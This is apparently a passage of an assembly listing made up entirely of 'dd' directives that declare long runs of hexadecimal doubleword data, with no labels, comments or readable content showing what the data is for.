0E40FAB8Eh, 4CE51612h dd 6EE4A16Bh, 4702F021h, 1B842E00h, 0D5F1A203h, 0D35EC635h dd 70878DCh, 3FDAE6C9h, 84CB14E5h, 0C63CEC80h, 5570118Ah dd 1060C8A4h, 95DFFE83h, 0FBA7C498h, 8F5F261Dh, 92EF7403h dd 4D20A458h, 0E4F8BF8Bh, 1EA03097h, 0D8DC8210h, 9FA9400h dd 27D4473Dh, 9040525Eh, 6F381D3Bh, 1329058Ah, 0CCA001C0h dd 802A41FFh, 52EC8906h, 440164Ch, 0F87FB2B0h, 0DCB0C039h dd 0C90B139Eh, 5B17BC5Eh, 8F108914h, 965F504Ah, 24574750h dd 0D6C22CDBh, 9FE085C7h, 2D32C402h, 17A8F070h, 623CDFE1h dd 18040860h, 967001AEh, 632A0173h, 6FFD102Ch, 0FE0FDB05h dd 0DA1C0491h, 6FAC8C1Bh, 0F4C0D24Bh, 9FDF07D7h, 0C864A812h dd 388D7730h, 0B645FBE3h, 34DA4014h, 51276E50h, 80AC443Eh dd 38EBC9C8h, 0E589675Dh, 348A5327h, 987AA56Ch, 0FAC489BDh dd 0CD3C4A88h, 0B1403C44h, 69ECB073h, 5B1A3811h, 4A95FA01h dd 0C788E53Eh, 61163800h, 0A0A54186h, 0D8FB5CB0h, 100840h dd 1DDCD9E1h, 5334D760h, 5E2E7AEAh, 292C82Ah, 8CA194A8h dd 0E435D0D1h, 604A5E25h, 20E53B40h, 0C75BAF66h, 0BF94D444h dd 80DC8B04h, 0D0F00B48h, 0B10B24B0h, 707F24E5h, 586101E4h dd 40FF3F44h, 0F0E4419Fh, 0F80B2B60h, 0E8444041h, 7C8597FBh dd 2AEC0BC6h, 0D03B1001h, 10842CB3h, 316B5C6Fh, 3B382841h dd 43967421h, 4048BC20h, 5E05DFB6h, 747FF345h, 40F81096h dd 3D736F25h, 24279C92h, 0C070139Fh, 0E85B2F0h, 0B55DCE1Ch dd 58A9680h, 553087D8h, 0C6510804h, 0D49A00F8h, 0D3CBB71Fh dd 9430E47Dh, 0B60D38D1h, 43490CA1h, 0FD40868Eh, 0A900BC7Ah dd 0E09C849Ah, 31E4DE85h, 1530E6E1h, 0DD6DD475h, 0D206E801h dd 38629E31h, 794E4BF0h, 0EEC30761h, 30736DDCh, 0FC473E4Dh dd 0B5825B1Fh, 189CE44Ch, 0C41501EAh, 0BF8EC69Dh, 0B2DBEC5Fh dd 0E7B0F400h, 91F9F8C0h, 31790CFDh, 9678BAEEh, 0C986CF0Bh dd 9191E01Bh, 0E32851AEh, 17202EF3h, 0B1BE3E6Eh, 64180748h dd 0A53818E7h, 0CE4B9C1Dh, 8E3152C3h, 0B21980D0h, 11C12805h dd 0B4860598h, 7017F6Dh, 0C0C207CCh, 0E7A2A617h, 0B1C0407Dh dd 0FF561063h, 0D78639DFh, 2040F1F2h, 18CF5D1Fh, 10F7B7EEh dd 0AE58C181h, 10AD302Ah, 0A09944E7h, 1B690DB0h, 1892D006h dd 0E3FDE0C0h, 0C0579C29h, 2CEB050Ah, 0FE7F4200h, 3D810A1h dd 0DA308103h, 3FA299FDh, 0DB851880h, 50650EE4h, 0E803C5A8h dd 196A2CE7h, 40F69510h, 8E1B10DFh, 7C13F0A2h, 519F28BEh dd 0FC5D1824h, 0E43A7859h dd 18A6A031h, 388EFFDAh, 4C924E15h, 86096E30h, 0AEC2D501h dd 0DAAA653Eh, 0C4012825h, 0CC5077E7h, 928457EEh, 0D48C12Ch dd 8010826Ah, 8E6D9941h, 9074EAEFh, 6C9C000Ch, 0B8D18B52h dd 54F0C79Dh, 0C60508A0h, 3400E5B8h, 403F4D82h, 1BB2A483h dd 5018A55Dh, 0D7F04FD0h, 88C10828h, 0BC6358h, 779C8648h dd 523AEE03h, 0BD30F89Dh, 0EAC48599h, 889CC9CAh, 30910B60h dd 903B726Dh, 49900Ch, 71CCCDAAh, 0C6636517h, 7B91F201h dd 31869CB4h, 13AF4BFCh, 64AD0FDh, 985837ADh, 0B5E3061Eh dd 10393A0Ch, 0A7E101A3h, 0A2E7AA54h, 0DED44061h, 840336CFh dd 6CEED474h, 94A812CDh, 15144091h, 3C145C44h, 0DE78C07Ch dd 3D0840EFh, 8D6010E4h, 0C670E328h, 886D05DDh, 37C5CAEFh dd 0B221B0D4h, 410932CDh, 10E905D9h, 0CA18734h, 241EEFAEh dd 0B9409D10h, 0CC6A5171h, 64AC40E6h, 0D3120665h, 281B4EEEh dd 840F7202h, 616CEFh, 0BF2DE54Bh, 0E6236507h, 87EEE406h dd 425E5D3Eh, 8A9585FFh, 0DA0278D4h, 82A57D39h, 803C4FC0h dd 0B7B49D08h, 0AD480115h, 36D1BC79h, 571E4h, 0EE4C8794h dd 705E9731h, 6C409984h, 0CE55695Dh, 9B2E83D0h, 0CCE47EA1h dd 6E0434E1h, 93479000h, 154BD5A5h, 1741006Bh, 0FA06F658h dd 28C0B57Ah, 923C7195h, 1A80A0A9h, 84E8C0A8h, 0B63DCD4Fh dd 0C8096D01h, 33DB7FEAh, 9EF11C25h, 58723C03h, 2C036B24h dd 1490EF05h, 0FF0FB031h, 0A42244E1h, 92DFF900h, 7F35F85Dh dd 0DF28734Dh, 104F8E0Dh, 422AAFDh, 0EE6C9507h, 61803AD3h dd 355918EFh, 5DF40CACh, 58E4BA33h, 0EF190C3Bh, 0CC48934Dh dd 0D60A6D0Eh, 6F4884D9h, 0EEA07087h, 3E8B01E8h, 58184F86h dd 5173185Ch, 4892313Ah, 1C7F2688h, 860B413h, 4D6D4128h dd 0DA06D4EFh, 68115AEEh, 0AEAA2900h, 0B7B23897h, 13303CA9h dd 4005A200h, 0F4066D42h, 8C8990A9h, 0C86258A0h, 0BA5200A8h dd 630D477Eh, 8A692CEEh, 0FAC0029h, 0A04814F3h, 549BEF40h dd 7D9C21h, 0B1FDEE05h, 6CE78B94h, 2C558740h, 74836Ah dd 0B4AA53D7h, 0DC26B07Bh, 0E40C4073h, 19740B5h, 70EBDF4Eh dd 413E4195h, 702D79E8h, 0E2AF9CDh, 1BF880E5h, 5182E780h dd 0DBC8BC57h, 0E4E1671Ch, 6B5BC399h, 8A3C1800h, 0FDFE7EA0h dd 606C90B5h, 25FCB866h, 0E00D3E6Dh, 1042F44Eh, 1ECE02Bh dd 44036200h, 0A0113F59h, 5C6B00C3h, 8D4DD1AAh, 0DBF83D1Ch dd 0E60022FCh, 23F5FC5Ah, 0F8664E61h, 4F7D0C46h, 0E950A574h dd 1FC2F300h, 0DE3A43BAh, 23141DE5h, 0D638705Dh, 0AB00FB6Dh dd 0D746577Dh, 0FA2504h, 0A21634FDh, 5B0C0523h, 80D3FC0Ch dd 18E65056h, 781C4B03h, 0A301A81h, 0FE6588DEh, 620DFFFh dd 60A18023h, 0A828A61Ch, 82F61AC7h, 3201626h, 40AFA83h dd 0E01D5557h, 5980517Bh, 0BA4DFEE0h, 0A848C3F5h, 43C74483h dd 0DBC32606h, 0C99F7FB8h, 2700A6FCh, 0B0BEBFDAh, 3D956A8h dd 4EC580E5h, 0A80D3753h, 48E389CEh, 101F7CCh, 21E0863Fh dd 0E0FFE19Bh, 0C3F0366Bh, 99F85EF8h, 29504D79h, 12075BACh dd 23B4DCAEh, 15111D20h, 9E0558DEh, 8DB80A33h, 0AD00C8F6h dd 1502E84Eh, 566F3Dh, 370AB0E0h, 784D349Eh, 0A798A41Dh dd 3812830Ch, 7B9CA891h, 0B1E44Bh, 3E5CCB8h, 644DD5B7h dd 0DBB080EFh, 62932926h, 0A94E18F8h, 0CA96D0A6h, 8A0DD23Ah dd 9C32BD03h, 0A035E300h, 0BC53ABh, 0F6D3BAB0h, 0D6C4B32Eh dd 0D407D00h, 445B22B5h, 1DE51DDFh, 0DC0AC981h, 584E1C18h dd 9FC02C66h, 0ACE10178h, 814F032Eh, 565008Fh, 99CC0041h dd 230EB45Ch, 0D47638DBh, 0C42806F4h, 0B928F86Fh, 7B009414h dd 0C9AAB3FEh, 1DB705E5h, 82FD33A6h, 4103BC2Ch, 0F69E0048h dd 0CB783C00h, 21D9C854h, 1F9978C4h, 1DA1C3ACh, 2A3700B4h dd 224D929Eh, 0F18CF951h, 830AE881h, 24085724h, 1BE4D0B0h dd 25EA4023h, 18E3930Fh, 582032A7h, 122220DDh, 40796A4Dh dd 0D5B0824h, 0A0C0DC52h, 12BD8B44h, 0D0C0E683h, 0D500D859h dd 9C10DA9Ah, 1367DF23h, 37D7A5E0h, 70FC6787h, 574C0066h dd 0DBE4483Bh, 0FB005B21h, 24A69A0Dh, 9039B3F7h, 7FB001h dd 66E016A3h, 4EA95C49h, 0A0C39DE6h, 0C7B3230Dh, 0C40114E5h dd 0DAFDD0C8h, 4DFCDBD1h, 180318F3h, 0B51598D3h, 7E5E20Fh dd 0E97AA402h, 5B391890h, 0DCA906A8h, 482E594Eh, 0E0466700h dd 520394D9h, 5140C0E9h, 8D2CD4EFh, 0D6C84E00h, 194025FBh dd 386D0016h, 78D7AC29h, 68124BCAh, 3000E8EAh, 7622E912h dd 0D1F0C4C9h, 3100859Bh, 343EFB20h, 0C8C41F64h, 4D023609h dd 0A8412B83h, 0AB3C2478h, 0EEF62310h, 0AECEDE04h, 0E0D08DF8h dd 11D4C5BAh, 0D39502D0h, 60CAE2C4h, 0A045D144h, 0F36AFC0h dd 4DEDB7B0h, 0E305F035h, 2424A719h, 508810F8h, 36DAA402h dd 0E0C0F2B8h, 9B0AE599h, 0F42D5682h, 0DC2A28A8h, 0B1206827h dd 0D996017Fh, 293701D7h, 0B358307Dh, 98560D33h, 9FB4D097h dd 1D3403BBh, 17677BA3h, 4D19BDF8h, 0DDCC7254h, 0C93B490h dd 36EA0680h, 551C4F78h, 0FE07D42Ah, 0F494C024h, 4322B008h dd 0C030F2A4h, 7E23C8AEh, 0CB449215h, 804D719h, 90D50019h dd 33450724h, 9486083h, 0EA85CFE8h, 96014E18h, 0A8EF4D60h dd 30A4ADCCh, 0E7F99BD9h, 9CF814FDh, 4A79AA00h, 1DFE3EAh dd 21C0CC65h, 0E952DD91h, 0ACAB02B4h, 648C454Eh, 0DB060014h dd 697B431Ah, 0C7265218h, 0A4163CF2h, 1569A918h, 731C092h dd 5F7A8A7Dh, 0A14FCB02h, 41E02AE3h, 706424F8h, 10010008h dd 1CAE8D26h, 2F31A4B5h, 0CE049EEh, 67E55C34h, 416A8FFh dd 3CAB0126h, 0DFC136BAh, 66D9C050h, 24040389h, 0FFD01DE9h dd 1802BF88h, 1795F0Fh, 74CB87F8h, 288B0C0Eh, 58F13168h dd 0E21C8910h, 0C1E927C0h, 0F7140C61h, 188187D3h, 0F0F6815Eh dd 0E967D020h, 224FA833h, 8BCCB150h, 60310C98h, 30802264h dd 0E0CF8EFh, 4C48124h, 59000B14h, 63B15152h, 0E91827B2h dd 681C50B5h, 8D476687h, 0BD31C43Ch, 0E2D0100Eh, 6C98EAC9h dd 81E52354h, 572CC550h, 1960F4FCh, 66E6880Ch, 0C6FE0358h dd 40B65253h, 40ECB9F9h, 16685C88h, 14474366h, 11156068h dd 5966E828h, 0F6DF8BE4h, 1A6BCA4Ch, 0BF57035Bh, 0F914F28h dd 85F616E1h, 2C8B5D4Eh, 5FF37237h, 661E2ACFh, 89561FB3h dd 67120CE6h, 8CA03322h, 0A50FF35Ch, 0C6386203h, 34E840h dd 0C3805A58h, 5BD9889Fh, 5950CAE6h, 0DA7DF681h, 0FE2AC21Ch dd 28310AF1h, 2434F340h, 83CCCD8Bh, 81078D88h, 750894ECh dd 0F8F400Ch, 3AC0B630h, 1CBA5287h, 810A6026h, 0C142D2F7h dd 0C24080E2h, 3F6B75ECh, 9CE91B55h, 0EEE03C49h, 0D03B78EAh dd 0C2CE0074h, 0F73B7705h, 9DC15CD6h, 2731E90Ch, 5978EB7Bh dd 44A48FFEh, 749B6D6Fh, 83581B90h, 5F86E5ACh, 77B90418h dd 0C2315A20h, 0BF80599Ah, 33F4323Fh, 5FFE2103h, 0C37A3E9h dd 0FA015E2Ch, 12401C12h, 74FF0650h, 63580424h, 0BAD35C28h dd 90E99C0Ah, 811DB5CEh, 347DC682h, 5482872Fh, 4263DB61h dd 1C70EE88h, 488D511Dh, 0C4F05928h, 0BE0CC04Ah, 52121156h dd 387E8D90h, 110020Ch, 0F6C290F2h, 416E3DEAh, 37E94206h dd 293B3633h, 0F8F192CEh, 1F961026h, 0AE08950h, 0A0934518h dd 0DFBE52E9h, 5EF0010Ah, 43CE4E8h, 5D0E1D38h, 9256292Dh dd 1425F3Ah, 906FD968h dd 0E0358829h, 0CB05001Fh, 2D614215h, 7D0F7A26h, 94F02921h dd 11A17C07h, 563C8C8Bh, 24E95F54h, 88755519h, 500CDEAh dd 18CC13F8h, 2DD82801h, 126AF807h, 505C7214h, 0DC2A4CA9h dd 2E918D5h, 59540A20h, 71C18128h, 0E9370684h, 0E7BA31E1h dd 5D4D0C20h, 4CE98302h, 568E04E3h, 811D19BEh, 20DEF7A0h dd 0E910084Bh, 880437DBh, 94D3F6CBh, 1864C2B1h, 3CC793A8h dd 9280A526h, 5C570987h, 63C60F08h, 88E48BD3h, 0C65581EBh dd 8706125Ah, 0E95C9680h, 13C83007h, 0A923980Ch, 0F4376850h dd 8E87D5Fh, 0AC051C8Fh, 0B10CD830h, 9856103Bh, 0E1D16A2Ch dd 4C5E4470h, 6A663E8Bh, 15730ED3h, 0F554CD1Dh, 1B87F88Dh dd 6F711968h, 270A0DC4h, 0DC559F43h, 0C72AAD09h, 9ABF8732h dd 0E91C504Eh, 2ED5D3C9h, 7C8750E3h, 49316540h, 533D66CDh dd 162A359Ah, 2C87CF30h, 5066FEC0h, 54E989B4h, 0ECC18C09h dd 0C0F8A203h, 0C16A65D3h, 2A43E00Ch, 0F4F1F032h, 9DB9DD13h dd 54E90602h, 3E02C717h, 0A0F59498h, 8870BB53h, 81162700h dd 0AF6A3FEBh, 12434846h, 8AE93126h, 881EBD55h, 5001EFE7h dd 5351D088h, 0F9D9C7D1h, 98CBC230h, 0FD2E3063h, 6CEBBA24h dd 0C39E81FDh, 46F52004h, 48680D20h, 0B0848E7Bh, 0E072CD72h dd 10D52CD1h, 0E8211682h, 9091E2Ch, 788AE9C0h, 72C317A7h dd 2C05F9AEh, 0AC883D84h, 3C3C588Bh, 0E7AF44A2h, 0A03E0172h dd 2440636Ah, 8B158DBh, 0FFAD1C3h, 0C8285A32h, 0CF00C2EBh dd 0FEA1B353h, 0F380C300h, 0E9CB86E0h, 2CE46EFBh, 0A19EFAFh dd 31DA9B33h, 448DB406h, 4505F92h, 0D8CBD944h, 0DD4D6876h dd 82E9844Ah, 9DBF8ED0h, 440F004Bh, 69FED81h, 0F1A01AF6h dd 8025303h, 0E9FD011Ch, 299F68DFh, 30829054h, 9A086C81h dd 4FB8FD20h, 0F7807BFEh, 618DEED5h, 0C08330E2h, 4D0E6302h dd 409B40CEh, 94E581D0h, 0BCA001Ah, 0FB296D32h, 56ED35E9h dd 5F2D0124h, 71592615h, 0E422418Fh, 2913DC80h, 22C3EB4Ch dd 542D90D8h, 0B0099A43h, 588F9A63h, 4E3F9546h, 5651989Ah dd 0EB014498h, 93CE93F8h, 761FC65Ah, 77FF0B0Ch, 50A29D1Ch dd 0F44914D3h, 0C0B05429h, 93476091h, 0F9895C10h, 9447F10h dd 24099768h, 0D9916912h, 83CA4D66h, 12782FAFh, 4E4F50Ah dd 15065E3Fh, 0E8018290h, 2AACC75Dh, 6F869167h, 0F2332A90h dd 0BFD27F2Eh, 256F298Fh, 7882C8Bh, 0DF893957h, 8A6AF824h dd 9FCE5450h, 11E25752h, 83762B44h, 6231FE24h, 1C38138Dh dd 12C0D320h, 1282617h, 0CE420FCCh, 0CD0C8268h, 4259FA49h dd 8EF08D2h, 140A0C34h, 0DD00A25Ah, 0E97BC555h, 5DD8499Dh dd 5DC10692h, 7906C4Eh, 8BE3D220h, 32074CF7h, 0BA063620h dd 81B2DB0h, 113B0BC0h, 6856E54h, 0AFD9501Dh, 65C781C0h dd 201E7233h, 5139EF01h, 0DF122208h, 316C9328h, 0F18B0D06h dd 0ECD14145h, 0E90063BEh, 929451B4h, 7376168Dh, 3D24B120h dd 0D6A60D12h, 0B9688E9Ch, 54CE3112h, 22EA4B5Eh, 14F2B187h dd 5A113A66h, 612D101Fh, 3BA62C7Ah, 0E16A6EAEh, 7A9502B3h dd 0E27F05h, 50D6D690h, 0D1EB806h, 1DA06E46h, 0D14008h dd 84DD912Dh, 0C6610934h, 0E389536Fh, 0A334EE44h, 0D4E90642h dd 0A1B76635h, 0B444E732h, 59A0665Dh, 5101F13Ch, 0C1804AB1h dd 0AB0692FFh, 0EA90BD87h, 0ED2F601h, 472B6866h, 7296C792h dd 0A7666960h, 807CB200h, 0EAC0D8C2h, 94FE7603h, 0D5853BDAh dd 95D18851h, 0D0EC1D25h, 0D15B3E1Ah, 7FBA368Bh, 5AEB6126h dd 1584BEB7h, 7FB70FB0h, 5CCA2E36h, 6858839Ah, 0F5183F13h dd 0F726F18Bh, 648160D9h, 89B926D3h, 2676C848h, 990F69EEh dd 8FEC47Ah, 2C0B7213h, 5E6B902h, 7EA5C057h, 477F6E30h dd 0BD5EF701h, 34151FA8h, 985FC730h, 0DAAD3F21h, 9B0FBA8h dd 35B310DDh, 8026412h, 36CAAAE9h, 6AD1F300h, 7804BA1h dd 4D48022Dh, 0A0E9CC54h, 66EF32EBh, 0E20FC602h, 0C4191E85h dd 0ACB6F73Dh, 0BF864A5Ch, 0F605D137h, 522E1FBDh, 242699C3h dd 0C0A15816h, 57595451h, 20706806h, 904711FEh, 0BBC47C9Ah dd 0F8F622E0h, 58364176h, 56985AF7h, 2D055828h, 0D00415BBh dd 94D1875Ah, 46CA2868h, 0C09890AEh, 1199C2Eh, 0C1004A75h dd 814207E2h, 54145CAh, 8FE9214Fh, 0D91B358Ah, 0C60A2939h dd 801102BFh, 154F3B4h, 0C3051A22h, 6115C720h, 4DE2C88h dd 4968555Dh, 0E2CDAD83h, 2658CCh, 0C4FEB9B4h, 3056F480h dd 8495E758h, 2906679Eh, 0C20386FEh, 5F7CB33Dh, 1880BD01h dd 78AF046Fh, 5DEE4D15h, 0ACE9510Bh, 0F498D99Eh, 7720D9A6h dd 0E2D10F3Ah, 0E5265055h, 800E1241h, 959F4EFh, 9980BF8h dd 9D670250h, 59090B21h, 3BB09B8Fh, 0DEB79E66h, 9B526352h dd 3012F302h, 0C328E092h, 638BB842h, 433E183Dh, 0E7006DAAh dd 3464247Ah, 1A1CFB01h, 142F1C08h, 0A27C2095h, 0E987C02Ch dd 4BC1928Eh, 0BC2D0420h, 8850023Fh, 820262D8h, 49F24A6Ch dd 5820D6D4h, 0F31304F1h, 0C2F589ECh, 0B2C044B9h, 452E6C4Fh dd 7E417027h, 8C418C5Ch, 0DE23682Bh, 0FF3BDC0h, 45584983h dd 7F3705E9h, 2CC004D4h, 9438E95Dh, 5B8824BAh, 747F55F1h dd 0D524683Bh, 66F3B36h, 20272ECEh, 517B4E3Dh, 0A27BE522h dd 2D85B910h, 2097FD28h, 11AEE90Dh, 138816C4h, 62550AE0h dd 84FD9C54h, 0FF615C44h, 58C50103h, 883545F9h, 523A3250h dd 0B11BF626h, 0A487A541h, 79AFB654h, 335FE380h, 63164CDh dd 0D3E90D86h, 5DB8220Ah, 0D7408098h, 2029BAF7h, 0AD078170h dd 5557D831h, 0DA5228A5h, 2A4AD426h, 143638BBh, 61647BE9h dd 37365A04h, 0B14D8176h, 0DA890049h, 1C9D905Bh, 929E063Bh dd 0EE010A01h, 838B1808h, 0DAB144D7h, 7B25C113h, 0D3BE3B81h dd 2405302h, 134C6F7Bh, 9018204Fh, 391C09B9h, 0D0AFA211h dd 52669BC5h, 68C291ECh, 0A461BF7Ch, 30AE59C8h, 7FDED366h dd 0C5FA359Ch, 5F7951Ch, 0B22D5FE6h, 43504D20h, 79E912FBh dd 850FA4C0h, 3135DEDh, 8C67A013h, 86699D3Ch, 0CB32B0h dd 0B740F984h, 8F5963Dh, 8BA07B91h, 3FA8BA0Bh, 0CAA98043h dd 5C734D3Ch, 6B05275Dh, 0A1DE5CFEh, 0D8BC2504h, 0BB1E53D8h dd 3B0F7E27h, 165B0929h, 53D68099h, 9672500Eh, 83E9A8B5h dd 5D0449E8h, 712A5D90h, 0C1665D89h, 8BC2BA74h, 42D7E208h dd 9018A967h, 0BB5B5421h, 56C68851h, 7FE1C10Fh, 4A729EBCh dd 5BD559Dh, 0A8506E0Dh, 43E58B01h, 1005090Ah, 5924081Fh dd 28559318h, 0CD083ADh, 0A4E982F8h, 4D4420h, 27EF49FEh dd 0C82DD0F7h, 1E12ED7Bh, 0B509C201h, 0B5C76389h, 27688EC8h dd 90985579h, 51802A3Bh, 339A2B9h, 9E6CFFB6h, 0CA8D7246h dd 0C9F15EFEh, 0E1605E04h, 42ED7752h, 0BC034E06h, 1808AE9h dd 552DBE10h, 64D1672Fh, 7E1D9C80h, 0CE8B4050h, 345A006Ah dd 4FD9E956h, 0CA974431h, 7FE0A3F2h, 89575232h, 78D8381h dd 6362581Fh, 0DF07C728h, 910552C0h, 40EEC14Bh, 3E08C6D0h dd 0DA1FCF26h, 9022E08Fh, 7CFDCD80h, 0EBB0353Ch, 0FE7DFB26h dd 4D5290Bh, 0BD0B6264h, 8FC1CE12h, 8CB1445Dh, 1B40A68Dh dd 0F0EE7E89h, 0CD736830h, 72180780h, 0FB8CB21Ch, 66BBCEEAh dd 8F62444Fh, 5DF06C5Fh, 68824E50h, 0D652478Eh, 0F6666740h dd 944E7439h, 80CB8368h, 0D3832FC3h, 0EBAFEBABh, 27F34C4h dd 0E963EA0Fh, 5D8921Ch dd 241A5FB8h, 0C9CB812Bh, 0C7C664DCh, 4569A40Fh, 65C0659Fh dd 0A51868B3h, 7FEE27F3h, 533FD16h, 24E7AAC7h, 0E53B1079h dd 66593D70h, 0EC0729AFh, 52CB555Dh, 164B52F5h, 0E93B8CDEh dd 5D5FCB67h, 4FE4EE94h, 0D06D931h, 7849A5Ch, 21916594h dd 898E2906h, 52992641h, 0CD6E457h, 5F62281Eh, 1D4C05AFh dd 5929BBA1h, 2F83C8h, 0D2F65CB1h, 0F3CA0680h, 0AACC5BE9h dd 3A6CC296h, 37460235h, 1E6FE965h, 60389D9h, 0E103B57Dh dd 0D268D22Eh, 3284099Eh, 80003929h, 0F66C331h, 65F8B654h dd 1A887F4Ah, 105FF03h, 7E540515h, 57E0EC67h, 38C52880h dd 0EB2A5866h, 6D096B4h, 0E07D67E9h, 0CDAC994h, 171B1473h dd 241D8812h, 0E90805B4h, 83F9D0DCh, 524F04EAh, 8F5A3844h dd 536BC6CAh, 3EAA52E4h, 8326C9EEh, 5C41E5C0h, 19605551h dd 0ED5B04EFh, 0E066E94Dh, 68125855h, 47377472h, 0D9229280h dd 47E2A05Ah, 0C929DF09h, 0E0852077h, 0CD9713EDh, 84733C7Dh dd 10594B07h, 86292A54h, 0D2E28620h, 31470D43h, 0C5366006h dd 0BB223967h, 0D10B160Ah, 96FA967Dh, 45093D3h, 0C71A79h dd 0A6D355Ch, 0EE0C6038h, 1E8D1921h, 0ADB10FB8h, 7ACF1F3Bh dd 0F7026701h, 0A3CB87D7h, 4D0978D2h, 290E1955h, 0D1654172h dd 40BC87EAh, 0C1324E79h, 0DB06E226h, 0CD387200h, 32E94A58h dd 299A6E22h, 6C13DCE2h, 555C0D26h, 2A98529Ah, 7C2E9464h dd 526F2B81h, 0F0690170h, 5A380C90h, 2A21DD8h, 0FC61032h dd 8C88BCABh, 0EBF9DAC9h, 14098C03h, 0E9CB3152h, 69750D46h dd 0F643692h, 7C860288h, 3CF832C1h, 35282299h, 0B3423084h dd 8DC16513h, 464EE44Eh, 7E4D8391h, 0B290004Ch, 41B10170h dd 0FE08E1C0h, 5F90EBC1h, 0E925CA28h, 0EB3D42BBh, 57783E3Bh dd 3BCC553Ch, 155FC3D4h, 61587C22h, 296B87A4h, 91494AAh dd 201A420Dh, 78EB3982h, 0B7B15101h, 2F8061E1h, 5B155ABFh dd 0D0B42942h, 0C9D5696h, 4FD04292h, 34AD682Ch, 21FB2116h dd 0B90C89D0h, 4291C401h, 0E9FA0524h, 0EEF25035h, 51069895h dd 211353E9h, 4E2EF20Fh, 75FAB4D3h, 5EA12702h, 785AD701h dd 19574CE8h, 6C420B96h, 0A0E34B2Bh, 21C80C9h, 4D97A95Fh dd 27992057h, 4D2621DBh, 5A7BDCC0h, 0E474B950h, 0D0F13848h dd 7FFE91D1h, 0DE2A2A48h, 26C45916h, 0B9C22AC4h, 40C95226h dd 0BE050F1Ch, 0CD768C8h, 402BB5D8h, 57945C12h, 9A7F681Bh dd 0A7A5D95Dh, 9AE6228Bh, 1E5A4883h, 0CA09E434h, 0EE5070E0h dd 7AE4A2C6h, 4E5DAA0Bh, 2E88D131h, 0D0ECE985h, 0A5EE80E3h dd 0F6CEFE01h, 3E6C0D6h, 0E9ECB0EBh, 24514FEFh, 0F9CDD999h dd 66FA5049h, 5E6D829h, 56092A1Eh, 32F2BE00h, 95C638E9h dd 0E231D3A0h, 211F785Ch, 748B59CFh, 5E636823h, 5A203011h dd 871E7628h, 38CED8CAh, 47520540h, 7F1A75C7h, 5F2C00DEh dd 5056F029h, 5900AEB8h, 0B9BE447Dh, 1A0D8D3Fh, 622B5DE9h dd 6BBA22C3h, 0E7C1E7A2h, 4513B2C0h, 0E60B99Eh, 1A647036h dd 0D0AF781h, 54A3C2D8h, 6AEF40CFh, 0EAF0CA01h, 0CA1908A3h dd 58E6DE14h, 0D082F9FDh, 31BC56B9h, 0E9123B6Ch, 4121E5FCh dd 6D6C52EBh, 6024A094h, 0BF20C31Ah, 8F592C2Dh, 208E2B92h dd 30483434h, 28582EC3h, 2DC02C07h, 0E587628Eh, 52ED7607h dd 4D6F82Eh, 0E41C5740h, 0B3214856h, 49F44F3Fh, 44EA316h dd 16F2C57Ah, 0D836B672h, 0C3681252h, 2852895Dh, 4C01C71Ah dd 93D6F5AEh, 0F7B9E8D1h, 5C2E8E63h, 2C8905Bh, 0B3E919DAh dd 59A34A10h, 0C05C45F2h, 68565275h, 9B473627h, 1E7F9E91h dd 0A68B5E55h, 0BB534069h, 9F125880h, 49F4431Dh, 0DFC56508h dd 83E09C34h, 872F8990h, 0C0C1320Ch, 817B8125h, 0F64BEAE9h dd 235A4DD1h, 5D4B5A1Bh, 9073E75Fh, 685C0487h, 0A7A2061Fh dd 62C4BB24h, 854B4841h, 0F9026EB0h, 72CDFAA1h, 0EDD1C737h dd 1573418Eh, 289CE6AFh, 5BDE8BEBh, 0BF00C7ECh, 51611277h dd 985FF801h, 0A2D509Fh, 8E48F95Eh, 0F16A4955h, 0AD4BB09Ah dd 10164601h, 0DFF75995h, 0AE644061h, 4FC85701h, 3E0C103h dd 47E9752Dh, 4B53608Fh, 89EC57BAh, 7159EE78h, 1A644E4Ah dd 0BD550640h, 6035515Dh, 16A9EA67h, 0CDEC07B1h, 7B7D69EAh dd 209AE915h, 56CE40B2h, 772CBE00h, 0EE8121E2h, 6C161FA3h dd 99949649h, 8F7A012Eh, 9E3A6936h, 1EC3AA95h, 1CD7D921h dd 0EA844FCAh, 1299B65Ch, 0F64540Ah, 3A0452C4h, 10421B6h dd 0E5F082D6h, 31C3DB08h, 1DEA93D5h, 0C0874208h, 0E5C1DDF7h dd 9E25E908h, 2C22694Fh, 8B933FE1h, 5033655Fh, 0DD3D8944h dd 0E92F2883h, 6C5BEE06h, 20846B36h, 801CBD60h, 7CF9EECEh dd 0F4B63DF6h, 7690B800h, 98487AD1h, 3B136610h, 18B0EFC7h dd 0F450D72Ch, 6DA16861h, 0CB587223h, 6E9C6220h, 312C1926h dd 262C58A6h, 69CEC74Eh, 0D92D8E02h, 83E98B1Bh, 0BA72F7A9h dd 6C5C4BAAh, 0D55695C0h, 54CFB00Bh, 0B8D0E018h, 5F03E3DCh dd 8AFC73EBh, 0A8DF413Ah, 68906D5Fh, 3320F607h, 0EE9C117h dd 7C9A8038h, 72F73E1Fh, 49D11FD9h, 0EAAF8B53h, 81C7BC21h dd 68BA70EFh, 0F9586C3Bh, 0E172A502h, 0AFFA89CCh, 710BC4CCh dd 0DA680B8Dh, 26566AA2h, 14E91924h, 0CD024A26h, 0E90D8B99h dd 581421A0h, 7031F021h, 0E9B1253Ch, 58443CA4h, 5760C4ADh dd 0C5B62412h, 0E184D1E3h, 98B804BBh, 604D6A2Ch, 0E6C1A868h dd 0B100614Ch, 366C831h, 41F95228h, 3260B5EFh, 54044D8Eh dd 882D27E9h, 0E07A4B1h, 0F3290FBCh, 800EB85h, 57FB015Eh dd 72680151h, 0E9715207h, 0BE133AE2h, 7F014935h, 501D2E26h dd 354C0831h, 4ED00CF6h, 0E90C3DDAh, 26D32A07h, 6F62F301h dd 251345DDh, 0FE685898h, 0A831195Eh, 540343DBh, 6832937h dd 48AC4C59h, 84042F50h, 0C074AE0Ah, 420701F2h, 2B02D4Ch dd 43681C73h, 96D4C04Fh, 14373F1Eh, 6EAC18Bh, 467CF386h dd 855A739Ch, 0A432493Bh, 507C7453h, 0FDA9B2E9h, 181C2859h dd 0C7E9F74Ah, 0FE7A14ACh, 0B725D539h, 0ABEDF262h, 0DCADE904h dd 0DE4C999h, 0CE12D2BEh, 0D6E912D6h, 99ECC459h, 8F40BBC1h dd 712085EFh, 59859812h, 9F18AE03h, 0F9676956h, 7A935682h dd 2D60A5B4h, 56EFBA0Bh, 0A124D359h, 0C4DB2DF5h, 5DD86E77h dd 302E5C17h, 0C840A0D4h, 64D2FA3Dh, 0B407A615h, 0F540FB93h dd 0E7810347h, 3A196CBEh, 0F2E80C40h, 0F73A227Ch, 4995051Ch dd 483FD89h, 7E91A5E9h, 5470E829h, 